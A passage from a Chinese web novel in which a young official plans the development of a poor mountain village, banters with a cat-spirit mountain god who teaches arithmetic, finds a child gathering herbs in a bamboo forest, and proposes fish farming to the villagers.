如此这般的话,近日已经从这家伙嘴里说了不知多少遍了,余玥玺倒也不像刚开始那般无措了:“行,那你去吧,看你表现。”
她似是俏皮地快速眨了下右眼。
华画点着头连连后退,就在他即将要跨出院门的时候,余玥玺又忽然叫住了他:“诶,华画,等等。”
华画面露喜色,还以为余玥玺改主意要他留在这里的时候,却又听余玥玺不紧不慢地开口:“你啊,连正事都能忘,书不要了吗?书你不带回去,你怎么准备算数课呢?”
他收敛了笑意,闷闷不乐地折返回来,看着余玥玺在那堆书中继续翻找。
此时余玥玺居然还有闲心笑话他:“你不带书就想走,那岂不是做官把官印给弄丢了吗?”
华画颇为尴尬地挠了挠后脑勺,只觉自己再一次光荣丢脸了:“抱歉,走得太急,我忘记了。”
“你这个稀里糊涂的样子,我都怕你误人子弟。”余玥玺夸张地摊手叹气,“我已经后悔将担任算数老师的这个任务交给你了,你就像是鸡兔同笼这个问题一般混乱。”
华画当然听不出她话里开玩笑的成分,只当余玥玺是真的后悔了,他紧张道:“别啊,失误,我这是失误,以后绝对不会再犯迷糊了。”
余玥玺笑看着他:“你还真的当真啦?行吧,以后放机灵一些,免得被其他人说你是靠关系来的。”
她已将四本书全部挑选出来了,递给华画的时候,又语重心长道:“就这么多,你不会让我失望的吧?好好学,好好教!”
华画接过,重重点头:“嗯!”
“这下你可以走了。”余玥玺随意摆了摆手道,“没什么落下的。”
华画掂了掂手中书的分量,书再多都不要紧,反正他可以在转瞬之间就将书中的内容全部吃透。
不过这个秘密暂且还是保留下来的为好。
“那我走啦?”
余玥玺笑着点头:“嗯,明日见。”
她看着华画小跑着离开,脚步匆匆忙忙,她自言自语:“真担心你在路上会把书弄丢啊。”
屋外的阳光倒是很好,灿烂且热烈,一点也看不出曾经暴雨如注的样子。
余玥玺转身返回屋中,她也有同等重要的事情要做,那便是继续规划烂泥村的下一步。她取出一张纸,熟练地研墨,将笔头饱沾满墨汁。
她本该提笔将自己心中的设想一项一项写下来的,但是一动笔,字没写出来,倒是画了一个圆圈出来,墨迹泅开模糊的印迹,毛毛茸茸的,倒像是某种动物的头。
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余玥玺几乎是当即就想起了那把伞,伞面一只毛茸茸的小猫头,沾了水就变得鲜活起来了,像是立马就能从伞中走出来“喵”一声一般。
想着想着她便笑了起来,等再次回过神的时候,洁白的纸上已出现一个眯着眼睛的猫猫头,她有一瞬的怔楞,提在半空的毛笔滴落了一滴墨汁——不偏不倚正好落在了猫头上,造就了一只看起来傻傻的三花猫。
“傻猫,傻山神。”余玥玺眉眼弯弯,又提笔给这个猫头补全了剩余部分,身体是蓬松圆滚的;尾巴是要高高翘起来的。
完美,简直惟妙惟肖!余玥玺喜滋滋地观赏着自己的杰作,越看越满意,简直一模一样。欣赏的够了,余玥玺才放到了一边,这下真的要做正事了。
微风与阳光一同透过窗棂拂了余玥玺满面,令她的心情忽然畅快了不少。
事情一定会向着最好的方向发展的吧?
余玥玺深吸一口气,在纸的最上方写下一行大字“烂泥村发展规划”,写完这行字后,她开始不觉啃笔头。
要说方案的话,她倒是真的能列举出不少来,但是适合与否,就无法保证了。
“从实践中来,到实践中去?”余玥玺喃喃自语,“麻烦啊,真麻烦。”
如此,她写出了第一句话,“要充分考虑烂泥村的村情,因地制宜,发展适合的农产养殖业。”
写完这句话以后,她又立即划去了,在心里嘲笑自己是在写政治题。
余玥玺放下了笔,又望着窗外发呆。
远方群山连绵,树木郁郁葱葱,它们就这样将一个小村落与世隔绝了起来。是的,她确实说过不仅仅只是让烂泥村的村民们走出去,还要让皇城的人也心甘情愿地来。
所以,要先修路!要想富,先修路!
这个想法先是让余玥玺兴奋了一阵子,而后她才考虑到这或许并不符合实际。不过,华画他堂堂山神都能变成猫了,这个或许他也能办到呢?从山脚到山上选出一条最短的路,将山上最不缺的大石头打成碎石子铺在上面。
对,就这样。
写下第一条后,余玥玺的思路便逐渐明晰起来。
山中珍奇物种较多,在不影响烂泥村自然生态环境的前提下,可以进行适当采集;烂泥村雨水多,走种植的路或许并不能行得通,那个她一直以来就有的想法也可以实施下去了,至于鱼苗的问题,就拜托乔河了。
还有呢?余玥玺又想。
“继续加强教育。”余玥玺又写了一行字。
以及,“全方面发展”。
无论什么时候,教育都应该是最重要的。尽管她从小总会有无数个“不想上学”的念头冒出来。
余玥玺又写了几行,直到将这张纸也写满,等到这一切做好后,日头已经偏西了,橘黄色的日光看起来慵懒,藏着半张脸在山后,似是不情不愿退场。
她忽然想起自己还有书晾在院子中,她起身,活动了一下略有些僵硬的身体,向门外走去,凉床上的书看起来确实是干燥了不少,不过,要是全部搬回去的话,可能要搬上个好几趟吧?
如果华画在就好了。
这个念头只是刚刚产生,余玥玺便再次听到了熟悉的声音:“我来了,需要我帮忙吗?”
一抬头,华画像是从天上掉下来一样兀然站在了她的面前。
华画见余玥玺面无表情,紧张道:“难道我来得不是时候吗?”
余玥玺微微笑道:“不,你来得正是时候。”
37.山神的心思你别猜
华画其实是来找余玥玺一同吃晚饭的,没曾想,刚一来,就被余玥玺拉着将书再次搬回屋里。
不过他也乐于做这件事。
余玥玺将书一层一层摞起来,整整齐齐地摆放在墙角,她点头笑道:“我就说我一定会把它们再收拾好的。”
华画看着余玥玺将书堆放好,桌子上总算腾出一片空地来了,他就将食盒放在了桌子上,眼巴巴地看着她。
余玥玺本来还没有注意到食盒,疑惑道:“为什么你突然又来了?事情办好了?”
“我来和你一起吃饭。”华画道,他动手打开了食盒,将里面小碟菜端了出来,在余玥玺震惊的目光下开口介绍,“嗯,就像是上次那样,我们一起吃饭可好?”
“我那时候就已经很想问了,你这些菜到底是怎么变出来的。”余玥玺拉开椅子坐了进去,好奇地看着从食盒中取出来的菜,“一开始我还以为你是从山下带上来的,毕竟烂泥村可没这个条件,有鱼有肉的。”
“但现在知道你的身份后,我更想知道了。是你用法术变出来的?那吃了会和没吃一样吗?”
华画摇了摇头:“哪有那么玄乎,是我自己做的,材料都取自山中。要说唯一偷懒的地方,那应该就是控火了。”
这个回答令余玥玺有些意外,她皱了皱眉道:“我还有问题。一,你不是山神吗?为什么山神也会做饭?二,山神也需要吃饭的吗?”
华画倒是一如既往地老实回答:“理论上不需要,但是我曾经还在受祭拜的时候,吃过村民们祭祀的饭,味道还不错,于是我就吃上了。但是后来,没有香火了,我就只好自己动手了……”
“你居然也有过受村民祭拜的时候吗?”余玥玺盯着他的脸看,语气有些不善,“那你是不是也吃过人呢?”
这话将华画吓得不轻,他赶紧慌乱摇头:“没有!绝对没有!我怎么可能吃过人!我又不是邪神!你相信我,我不吃人!”
余玥玺“噗嗤”一笑,拍了拍华画的肩膀,哈哈笑道:“你这人,怎么如此开不起玩笑?我当然知道你没吃过人了。”
“毕竟你的真身只是一只猫啊。”
“你相信我没吃过人就好。”华画倒是一副松了一口气的模样,“我也就是喜欢吃点肉而已,可没有到要去吃人的程度。”
他将菜碟向余玥玺的方向推了推,轻松道:“快吃吧,尝尝味道怎么样,也不知道这次的符不符合你的口味。”
一碟酱色的菇类杂烩;一条清炖鱼;从中间切开的一整只烧鸡。看上去和前面两次没什么差别,余玥玺倒也没客气,率先就从烧鸡上扯下一条鸡腿,啃了一口赞道:“不错,好吃。放心,我不挑食的。”
华画放心地笑了,他从食盒底部取出最后一个部分,一打开,里面是黄灿灿的饼子,他照例递给了余玥玺:“别吃村民们给的那个黑漆漆的饼子了,不好吃。”
“可是那是村民们的一片心意啊。”
“可这也是我的一片心意,而且那个黑饼子是真的不好吃。”华画语气认真,诚恳地看着余玥玺。
“行,既然你说这也是你的心意,那我就尝尝了。”余玥玺又夹起一张饼,将蘑菇与撕碎的鸡腿肉一同包了起来并吃了一口,“其实村民们也是没办法,条件差,也做不出美食。”
“我知道……可是确实不好吃。”
余玥玺失笑,又问:“你不吃吗?还是说就这样看着我吃?”
华画摇摇头:“我不用吃,我吃只是为了满足口腹之欲而已。但我这样看着你吃就已经很高兴了,就好像我自己也吃到了一样。”
“那你就好好看着吧。”余玥玺心情似是相当不错,又挑了一块鱼肉,“你之前有像这样和其他人这样一起吃饭吗?”
“没有,我甚至都没有和活人说过话,就像你说的——猴子。”华画看起来又尴尬了,他挠了挠后脑勺,“你会觉得我不大正常这件事其实挺正常的。但是,我会学如何同人正常交流的,不会让你失望。”
余玥玺认真地看了眼华画,又微微笑道:“你就这样,我很喜欢。”
“挺可爱的。”
这?华画又有些摸不着头脑了。
余玥玺看着他的这个呆样,又没忍住叹了口气:“把你的脸放聪明些,不然我真的会再考虑让你与我一同共事的可能性。”
闻言,华画立即将闭起的嘴合了起来,做了一个讨好的笑容。
“下午学得怎么样了?明天能否成功教孩子们算数课呢?”余玥玺一个转题,又将话头转向工作上去了。
华画用力点头:“当然没问题!”
“那便好。”余玥玺简短地回答。
此后便是一问一答,余玥玺问,华画答。
“学了多少了?”
“半本。”
“容易吗?都能理解吗?”
“还行。”
“不许说还行。”
“非常容易!”
一问一答之间,余玥玺已将华画带来的菜肴扫灭了一大半,她望了望窗外,时候已经不早了,便下了逐客令:“回去吧,我稍晚些时候要休息了。”
“那这食盒?”
“不妨事,后日我再给你。”
华画起身,倒也没再说什么要留下来的话,欠了欠身道:“明日见。”
余玥玺似笑非笑道:“我怎么觉得这话耳熟呢?是不是我们中午那阵子才讲过?好了,这下真的是明日见了。”
次日。
余玥玺起了个大早,将昨晚剩的饼丢进锅里热了热,吃了一顿相当简单的早饭后就去了古井旁。
有人去的比她还要早,是华画。华画见了她灿烂地微笑,招呼了一声:“哇,你好早啊!”
“你也早。”余玥玺淡淡地笑着点了点头。
华画向余玥玺走近了一些,他折了一根树枝,在地上画了一个类似草笼的图案,余玥玺看他,不知他要做什么。
紧接着,华画又画了一只兔子和一只鸡,尽管兔子画得像老鼠鸡画成了鸭子,但余玥玺还是看出来了。
“你画这个干什么?”余玥玺问。
华画的语气认真得好笑:“这是鸡兔同笼问题,确实像你说的那样,是一个混乱的问题,而且我也觉得这没什么意义。会有谁将兔子和鸡关在一起呢?”
余玥玺笑着点头:“你说得对。”
“所以。”华画道,眼神严肃,“我今天誓要将这个问题的解决方案传授给在场的所有人。”
“你悠着点,这也太早了,循序渐进懂吗?”余玥玺并不赞同他的做法,“先把基础打牢,后续稳扎稳打,才是正道。”
华画看起来相当失望,不过他还是顺从了:“那好吧,本来我昨晚还琢磨出了一个绝佳的解题技巧来着的。”
“什么?”
“让所有兔子都抬起两条腿。”
余玥玺沉默了,她似是无语地看着华画,华画则紧张道:“因为我也不能让鸡再长两条腿出来啊!”
“噗——”余玥玺再次被他逗笑了,等笑够了她才认真地说,“很天才,山神大人的想法就是如此清新脱俗。”
华画这会倒是能隐约看出余玥玺是在开玩
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笑还是在说真话了,于是他不情不愿道:“你又取笑我……不是谁能像你一样厉害的。”
夸她的话余玥玺全盘接受:“既然知道的话,那就多多努力吧,这也才有资格站在我的身旁!”
“嗯。”
余玥玺满意地拍了拍华画的肩膀:“孺子可教。”
华画咧嘴一笑道:“你教得好。”他的目光顺势向远处望去,一个人正朝着此处走来,手里还捧着一本书。
“周姑娘来了。”
余玥玺眼睛一亮,当即丢下华画,向着周小吉挥了挥手道:“早啊!”
待走近后,周小吉的目光径直略过了华画,只望着余玥玺笑道:“小玺,你也好早。”
她扬了扬手中的书,脸上带着自信的笑容道:“我已经把这本书全部背下来了,教小孩子们已经完全没有问题了。”
“小吉真厉害。”余玥玺大力夸赞。
还没等周小吉回应,华画幽幽探头:“那我呢?”
余玥玺扯出一抹坏笑:“你?继续努力吧。”
“对,你继续努力。”周小吉得逞一般微笑,再次将手中的书扬了扬,“不是谁都能得到小玺的称赞的。”
华画咬了咬牙道:“好,我一定会想出比让兔子抬起两只脚更天才的想法的。”
“什么让兔子抬起两只脚?”周小吉困惑发问。
“哎呀,没什么,快别理他了。”余玥玺的手搭上周小吉的肩膀,手动将她调了个方向,“你今天准备教什么呢?”
“带数字的诗,简单又朗朗上口。”周小吉道,“而且很有意思不是吗?”
“没错!很适合他们。”余玥玺表示赞同。
二人谈话间,柳儿来了,小树一样站在她们身侧,怯生生道:“您好,我来了。”
余玥玺没见到另一个熟悉的身影,在印象中,这两个孩子总是形影不离的,她便随口一问:“桃儿呢,怎么没来?”
柳儿深吸一口气,平复了一下心情道:“她可能还要等一会再来。”
“她怎么了?”
柳儿看起来相当窘迫:“抱歉,她不让我说。总之,您也不用担心,她会马上就来的。”
余玥玺看着面前神色有些古怪的男孩,心下了然,但她还是决定先不戳破:“好,我知道了,那你就在一边先等一会吧。”
柳儿这才放松了绷紧的面容,走到了大槐树下坐着,还是离人群远远的,加上他过高的个头,倒真的像一只落单的鹤了。
“孩子们都来齐了吗?”余玥玺问周小吉。
周小吉数了一遍孩子的个数后开口:“就差桃儿了。”
“这样吧,我去找她,课你先照常上着,如果我过了一阵子还没有回来的话,你就让孩子们先回家。”余玥玺从容不迫道,“桃儿她按理来说是不会迟到的,或许是出了什么事情。”
听了这话,周小吉也有些紧张了:“那我和你一起去吧。”
“我和你去。”华画忽然开了口,“反正我……也很闲。”
余玥玺这次倒没有拒绝了,点头道:“那好,你和我一起去。”
“我也可以去吗?”柳儿不知何时又走了过来,他攥住了衣角,显得紧张,“我也有些担心,因为她一大早就走了。”
或许事情比想象中的要严重些,余玥玺不敢耽搁:“好,那你也来吧。”
周小吉目光担忧,余玥玺便向她宽慰一笑:“放心,没事,桃儿不会有事的,我们也不会有事的。”
余玥玺笑着将华画的后背一拍:“还有他在呢,什么事都不会有的。”
38.并不惊险的营救
走在返回的路途中,余玥玺问柳儿:“柳儿,到底怎么回事?你说清楚,桃儿到底去了哪里?”
柳儿不敢再隐瞒,只好原原本本道出了事情的整个发展过程。
“是今天早上发生的事情,桃儿很早就醒了,是家里第一个起床的人,当时天还没有完全亮。桃儿忽然将我拍醒,兴奋地同我说她要去做一件正事,如果没赶上您的课,就让我带一句‘马上就到’。”
清晨,天尚未放明,灰蒙蒙的,山间萦绕着散不开的浓厚雾气,烂泥村的一切都还在沉眠之中,柳儿正睡得香甜之际,忽感觉自己的头发被轻轻地拉扯了一下,动作轻微,但他还是醒了。
一睁眼,桃儿的脸似是放大了几倍,她的眼睛瞪得很大,滴溜溜乱转,嘴角噙着笑,藏着什么坏主意似的,见柳儿睁开了眼睛,她便将脸又放低了一些,压低声音道:“柳儿,我要去做一件正事啦。”
“你要去干嘛?”柳儿迷迷糊糊地问。
桃儿的声音低沉,但依旧掩盖不住语气中的兴奋:“我要去后山!”
柳儿被吓了一跳:“这太危险了,不行!我和你一起去。”说着他便挣扎着要爬起来。
桃儿又赶紧叫停,将他重新摁了回去:“别!你行动不便,挺耽误事的。我有分寸,不会跑太远的。”
“真的不会跑太远吗?”柳儿的上下眼皮又开始打架,迷迷糊糊地强撑着精神问。
桃儿笑眯眯道:“放心,不会的啦。你还不放心我?不会跑到太深的地方的,再说了,这又不是我第一次一个人进山了,什么事都不会有的。”
“你之前还一个人进山过?我怎么不知道?”
“你不知道的事情多了去了。”
桃儿又像是想起什么一般,提醒道:“假如我到了课前还没有回来的话,就拜托你和小吉姐姐说一声啦,就说我有事,马上就回来!”
“嗯,那好吧,反正你想做什么我是从来都拦不住的,一定要注意安全啊。”
桃儿向他比了一个安心的手势,悄悄溜下了床,将家中大门打开一条缝隙猫一样滑了出去,在出门后又反手关起了门,真当是滴水不漏,让柳儿疑心她是不是总这样偷偷溜出去。
他看着门再次被关起,才放心地又闭上了眼睛。
早饭间面对桃儿母亲的询问,他也只是含含糊糊地说:“桃儿她,可能是有事吧。”
“她走的时候和你说了吗?”
柳儿低头,他实在不太会撒谎:“没,没说。”
桃儿的母亲或许是看出来了,她也只是叹了一口气道:“桃儿这孩子,真当是不让人省心。”
至此,柳儿的讲述已完毕,他垂头,语气无不担忧:“桃儿她不会真的出什么事吧?要是我早上和她一起走就好了。”
余玥玺把手扶上他的肩膀道:“放心,还没过太久,应该不会出什么事。还有,要是你和她一起失踪了,那问题才大了呢。”
她又笑笑:“她一个人倒还能脱困,带上你这个小病秧子那才麻烦了。”
尽管余玥玺的话带了不少开玩笑的成分,但这并不能让柳儿放心:“山里面经常会起雾,一时半会还散不掉,我担心桃儿她会迷路。”
“桃儿她机灵着呢,别担心。”华画忽然开口,冲柳儿微笑了一下。
“好了,闲话到此为止。”余玥玺打断了华画继续安慰下去的话,沉声道,“柳儿我问你,你知道桃儿平时进山走哪条路吗?进山的路有很多条,我们又不能分头行动,所以,你知道吗?”
柳儿点了点头:“桃儿家午后有一片竹林,穿过那片竹林,有一条小道。”
“那劳烦带路了。”
“好的。”
三人顺着来路返回,到了桃儿与柳儿共同的家之时,柳儿便阻止余玥玺与华画继续前进了:“让我先去看看有没有人在家,若是有人问起,我确实不好回答。”
余玥玺应道:“那你去吧,若是让家中人产生了过多的担忧也不太好。”
柳儿便蹑手蹑脚绕到了屋后,环绕一圈没发现人,想必是串门去了,他便站在屋子的侧方向两人招了招手:“来吧,没人。”
在得到这个信号后,余玥玺同华画才放心地前行了,余玥玺不禁笑道:“这哪是去找人,简直是在做地下接头工作。”
华画深深地看了眼她,决定还是不要再多嘴问这是什么意思。
柳儿在前方带路:“就是这里了,穿过这片竹林,就可以看见一条小路了,上山的其中一条小路,也没什么特殊的。”
竹林倒是很广阔,一眼望不见开阔的前方,宁静幽深,竹子都是翠绿笔直的,风一吹,竹叶便“哗啦”作响,行走在其中,倒也惬意得很。
余玥玺忽问了一句:“村中有人会做竹制品吗?手艺又如何?”
柳儿便轻轻摇头:“现在没有了,村里面用得为数不多的竹制品还都是她在世时做的,她去世以后,就没人会做了。”
余玥玺略一迟疑而后豪放开口:“没关系,我可以学!假如我不行,我还可以拜托乔河在山脚下找篾匠上来传授经验。”
华画见余玥玺兴奋起来就开始乱许诺,便提醒道:“其实也没有必要的吧,你看村里面竹林也不多。”
“哎呀,我明白,只是一个有可行度的想法而已,说不定以后可以用得上呢?”余玥玺倒是并不受挫地笑了笑,语气轻快却不失认真,“况且,手艺这种东西,丢了就太可惜了。哪怕用不上,知道它还在,心里也踏实。”
“传承手艺啊,可远比提高经济效益更珍贵。”
华画尚还在回味这句话之时,余玥玺的话头又重新转到了“寻找桃儿”这件事上,她环顾四周道:“地形看起来也并不复杂,桃儿或许就在这附近。”
她深吸一口气:“这儿的环境真不错,怪不得桃儿喜欢来这里。柳儿,你也经常来吗?”
柳儿摇头道,语气似是哀怨:“此地过于阴冷潮湿,我幼时同桃儿找到此地后玩了整整一天后回去就病了,所以如果她来这里的话,是不会带我的。”
余玥玺露出一个同情的笑,她道:“如果你以后身体恢复了健康,就可以再和她一起来这里玩了。”
但柳儿显然悲观:“或许那个时候我已经过了可以和她玩的年龄了。”
余玥玺的手抬起又放下,最终还是没什么动作,只口头安慰道:“什么时候都不会太晚的。”
在二人交谈的这段时间,华画已走出了一段较远的距离,他相当审慎地观察着四周,以灵敏的感知感应周围是否有人存在。
终于,他的耳朵捕捉到了一丝相当轻微的声音,似乎是右前方处传来的,他站定了,又瞥见一块石头旁出现了一串相当清晰的脚印,视线上移,低矮的灌木丛也出现了新鲜的折痕,如此证据加在一起,已经可以确认桃儿就是从这个方向离开的,
华画便动作轻微地摇了摇手,示意余玥玺与柳儿来到他这边。
“怎么,有发现了?”余玥玺问。
华画点了点头,
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将脚印与折痕指给了两人看。
余玥玺呵呵一笑道:“带上你准没错,猫……”她想起旁边还有其他人,便又将这话给咽了下去。
华画本紧张得不行,听到余玥玺没再继续说下去后他才松了一口气,柳儿心急,率先沿着此小路跑了几步出去。
“瞧你那个紧张的样子,还真担心我把你的秘密说去吗?放心好了,我又不是这种人。”余玥玺勾唇一笑,但这笑怎么看怎么不正经。
华画撇撇嘴道:“我是很想信的。可是——”
“没有可是。”余玥玺迅速截住他的话,遥遥一指道,“难道现在我们应该做的不是去找桃儿吗?”
又是这样。华画只觉自己被余玥玺玩弄于股掌之间,但他却生不出任何怒意来,反而很实诚地点头:“呃,确实。”
越向深处走,竹林便越密集,脚下的路也断断续续连不成一条完整的路,只得靠华画的听觉以及偶尔会出现的被折断树枝的新鲜切口才能找到方向。
“桃儿?”柳儿试探性地朝着虚空的方向喊了一声,他拨开挡路的竹子,坚定地向着一个方向走,一边走着一边继续喊着桃儿的名字。
“是柳儿?”一个小小的身影从灌木丛中站了起来,脑袋上还顶着几片叶子,她看起来疑惑,“你怎么来了?”
桃儿的视线向后移动,自然而然看见了余玥玺与华画。
“诶?”桃儿做出一个尴尬的笑容,从灌木丛中站了起来,一阵拍打拍掉了身上与头上的叶子,“怎么余姐姐也来啦?”
余玥玺尽量使自己听起来心平气和:“你一个人来这里做什么?”
桃儿心虚道:“没,没什么呀,只是在这里找找草药而已。”
像是为了验证自己自己没有说谎,桃儿打开了斜跨在身上的包袱,在三人面前摊开,布中躺着形态各异的草,根系上还带着新鲜的泥土。
“我都说是真的啦。”桃儿又重新将草药包了起来,她疑惑发问,“你们为什么要来找我?”
余玥玺无奈一笑:“因为某个忘记了上课时间的小朋友此刻正在干正事呢。”
桃儿这才想起来自己错过了上课时间这件事,同时柳儿也用埋怨的口吻道:“桃儿,你还让我给你带话来着的,这你也忘记了吗?”
“嘿嘿。”桃儿又露出一贯的招牌式乖巧笑容,“对不起嘛,我忘记啦。”
她举起右手:“我发誓,我赵桃儿今后不会再犯同样的错误了!”
余玥玺轻轻拍了拍桃儿的头,哭笑不得:“你最好说的是真的,不过你为什么要来采草药呢?如果需要的话,你可以向我要,想要什么都可以,就算没有,我也可以让乔河下次上山的时候带来的呀,实在没必要自己一个人来这里的。”
“柳儿都要担心死你了。”余玥玺最后笑着补充了一句。
柳儿鼓着腮帮子点点头。
“山中的草药,外头的哪比得上?”桃儿语气骄傲,“我是想多采些给你的。”
余玥玺惊讶不已:“给我?”
“嗯,给你,拿去外面卖。”桃儿认真道。
“多谢桃儿的好意,但下次,这种事没必要隐瞒了知道吗?”
桃儿乖乖点头。
“这就要到中午了,桃儿柳儿,要去我家吃饭吗?”余玥玺似是快活地眨了眨眼睛。
桃儿眼睛一亮:“好——”
“主厨是我们的华公子?请问华公子有意见吗?”
华画简直求而不得:“没有!”
39.关于养鱼的想法
此后的一段时间里,烂泥村一直未发生什么重要的事,距离雨期已经过去了相当长的一段时间,为数不多可用的地也被余玥玺组织着用石子砌了起来,在河中捞出的枯木树枝以及杂草也被分批运到了村中,经过焚烧形成了农用肥料,各家各户按需所取。
至于村子周围淤堵的河流,余玥玺也带着尚有一定劳动能力的村民们进行了疏通,并稍微拓宽了河道。当然,华画在其中是出了不少力的,在余玥玺的请求之下“稍微动用了”一点他的能力。
乔河每次所带回来的药材也被周小吉按每户人口数尽数分好了分配了下去,村中人也逐渐习惯了这位来无影去无踪之人,只道他是一个货郎一般存在的人物,而且托小余的福,甚至可以不用给钱。
每次乔河回来的时候,总会引起一阵小轰动。村民们热情围上前,对着乔河带回来的各类商品挑挑拣拣,带回来的东西虽平常,但也够村民们啧啧称奇的了。
“我真没想到这衣裳布料子还能这么软和。”
“这鸡蛋个头也大。”
“总算能吃一点好的米了。”
余玥玺就这样在一旁微笑着看着,她似乎相当满意,乔河走到了她的身边,恭敬地喊了一句:“余大人。”
“嗯。”余玥玺回应了一声,但目光仍旧停留在挑选物品的村民们身上,良久她收回视线,却发现乔河依旧在站着,她便问,“还有什么事吗?”
“下一次我需要带什么上来呢?”乔河问。
余玥玺只是一笑:“不急,我看你好像在看什么人呢,看得那么认真?”
乔河立马否认,带着些许心虚:“没有,我有事,先走了。”
余玥玺有意想逗逗他:“你去哪啊?你不是才回来吗?”
乔河顿足,又转过头道:“有事就是有事,余大人还是不要再问了。”
“好好好,那你去忙吧。”余玥玺忍住笑意点了点头。
华画走了过来,他见余玥玺的脸上笑意未褪,便不由得有些好奇:“什么事让你这么开心?”
“有时候我真的觉得坦率是一件好事。”余玥玺看着华画,语气自然道,“有什么想法就应该大大方方表达出来,像你就很好啊。”
华画听余玥玺分明是在夸他,嘴都要咧到耳后根去了:“那是自然,不是谁都能像我一般讨人喜欢的。”
如果他有尾巴的话,此刻一定已经翘到了天上去。
“对,就是这种自信的姿态。”余玥玺继续鼓励,看着这只猫花孔雀似的开屏。
华画得意洋洋,眉梢眼角都带着藏不住的喜悦,他慢慢地眨了眨眼睛:“你喜欢就好,我会继续保持的。”
余玥玺听了这话,却又轻轻摇头:“行了,夸你两句尾巴都要翘到天上去了。这么自满可不太好啊,懂吗?”
华画却极迅速地回答:“我没有尾巴,至少现在这副身体没有。”
“比喻,是比喻。”余玥玺伸手点了点他的脑门,“你的尾巴我又不是没有摸过。”
余玥玺带着一脸恨铁不成钢的表情离开了,只余华画在一旁怪自己又说错话了,他目送余玥玺离开,看着她走进了人群中,与村民们自然而然攀谈起来。
“东西怎么样?还喜欢吗?”余玥玺问,她伸手在筐中翻了翻,“还有什么需要的吗?尽管和我说。如果有时找不到我本人的话,还可以找小吉。”
村民们兴奋地七嘴八舌,你一言我一语,余玥玺起先还能听出个大概,到后来混杂在一起便什么都听不清了,她只好紧急叫停:“慢慢说!或者?谁来做一个代表?”
她看着一手拿着一个鸡蛋的韩大姨,笑道:“您来说说?你可是这村中最有威望的人,您的话对我来说一定非常有价值。”
韩大姨这时倒显得手足无措了,她的两只手因为分别握着一个蛋,竟是不知道该放在哪里了。最终,她将鸡蛋重新放回了筐中,一点没迟疑地握住了余玥玺的手。
“我这个老太太还有什么威望啊,小余你现在才是烂泥村的第一大功臣啊!我们哪里还敢再提什么要求呢?你为我们做的已经够多了。”
余玥玺一笑:“这哪里够?我还没做什么呢,你们尽管提意见就是了,不用顾虑什么的。”
但韩大姨还是有些犹豫,她吞吞吐吐道:“这样会不会太麻烦你了?”
“不会的,您尽管说就是了,不说才是真正麻烦我,我可没有那么多精力去一个个猜你们要什么。”
“那既然如此,我就说了。”韩大姨长叹一口气,与其他村民互相交换了个眼神,开口道,“其实东西已经比较齐全了,什么都有,不仅看见了还用上了之前从未想象过的新奇玩意儿。”
“但是,有没有什么不只是只做使用用处的东西呢?我的意思是,有没有什么能产生更大价值的用品?就像鸡生蛋,蛋生鸡一样,无穷无尽产生价值……”
余玥玺的面色逐渐凝重,而韩大姨见到余玥玺这副表情,声音又低了下来:“我知道这对你来说太难了,毕竟烂泥村条件就摆在这,种啥都养不活。咱都习惯了,不行也没事。”
“没什么难度的,而且我早就有想法了。”余玥玺将自己的手从韩大姨手中抽出,拍了拍她的手背,语气坚定,“既然种植业行不通,那我们就养鱼,而且是那种经济价值较高的鱼。”
“皇城的人,尤其是名门望族家境富裕之人,家中总会有鱼池——不是养来吃的,而是观赏的。”
村民们啧啧称奇,而余玥玺继续不紧不慢开口:“当然,如果是做食用用处的鱼,也有珍贵的。”
“可是我们都没养过鱼啊,这能行吗?万一养死了怎么办,那不是让你来承担损失吗?”韩大姨无不担忧地问。
余玥玺摆摆手:“我会学习的呀,另外就算是失败了也是积累经验嘛。再说了,我在皇城还有个冤大头帮我承担损失——咳咳,总之没事就是了,大家放心!”
她的笑容就是这样神奇,能让人毫无理由地就信任她,韩大姨问“冤大头”是谁的话在嘴边转了好几圈,最终还是咽了下去。
看小余这么自信,想必没有谁会让她吃亏的。
“不过,养鱼也不是什么容易的事情。所以以后还请大家一起努力!”余玥玺最后说道,她转身离开了。
在一旁等候了许久的华画连忙上前,急切地喊了声:“余大人!”
余玥玺回头,定定地看着他:“什么事?”
“你真的确定要养鱼了吗?”
“是啊,确定了。”
像是看出了华画的不确定,余玥玺便又道:“有我呢,你还不放心?”
华画摇头
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:“不是我不信任你,是这件事确实挺难的……”
“那你的意思是这次你就不帮忙了吗?”余玥玺歪头看他。
“不不不,我还是会帮你的,你别这么想。”华画赶紧为自己辩解,“好吧,或许有你的话,什么事都不算难事了。”
余玥玺似是满意地点头,一言不发地离开了。
她刚一踏进院门,就看见乔河坐在石阶上发呆,两只眼睛看着天空。
“咳咳。”算是提醒了一句。
乔河回过神,赶忙站了起来:“余大人。”
“你不是说你有事情吗?”余玥玺笑着看他。
“事情办完了……”乔河似有些窘迫地开口。
不过余玥玺并不打算追究,她只道:“你什么时候方便再下一次山?”
乔河道:“如果您需要的话,我可以随时下山。”
“不急。”余玥玺反而笑了起来,她望向院门外,“我在等一个人,我让他和你一起去。正好那个人天天在嘴上说着要帮我,就给他这样一次机会吧。”
乔河下意识想要问是谁,但一个念头迅速闪过他的脑海,他或许知道是谁了。
“你看,他来了。”余玥玺的声音得意,带着些许“我就知道”先见之明。
乔河于是顺势望去。
果然是华画。
他的脸上还带着轻松愉悦的笑容,怀里揣着一个包得严严实实的荷叶,荷叶的边缘已经有些发蔫了,他的笑容直到看见乔河的那一刻凝滞了。
华画瞪着眼睛看一脸无辜的乔河:“你怎么又在这里?”
乔河冷淡回应道:“我怎么就不能在这里了?我也是为余大人办事的人。”
“我才是!”华画喊了声,梗着脖子让自己看起来比乔河更有气势一点。
但乔河继续用他那一贯冷淡的表情与语气开口:“哦?是吗?”
余玥玺拍了拍华画的肩膀,算是制止他继续说下去,她用非常感兴趣的口吻指着荷叶包问:“这是什么?闻着还挺香的。”
华画的注意力果然被吸引了过来,他喜滋滋回答道:“是烤鱼。”
余玥玺向华画伸出手道:“给我看看。”
华画应了一声后打开了荷叶,里面金黄香酥、鱼肉雪白的烤鱼,散发着焦香的烤鱼便显露在三人面前了。
“还挺香。”余玥玺顺手拨了一块鱼肉吃,她又笑着开口,“不过你这个烤鱼来得倒是非常是时候啊。”
“我刚刚才对你说我要养鱼,结果你后脚就送来了一份烤鱼?”余玥玺开始敲打华画,语气认真但又像是在开玩笑。
华画倒是诚恳:“烤鱼确实好吃。”
余玥玺见华画这副理所当然的模样,只觉这猫是真的不知谦虚为何物,但她却喜欢,她一把接过烤鱼,另一只手亲昵地拍了拍华画的头。
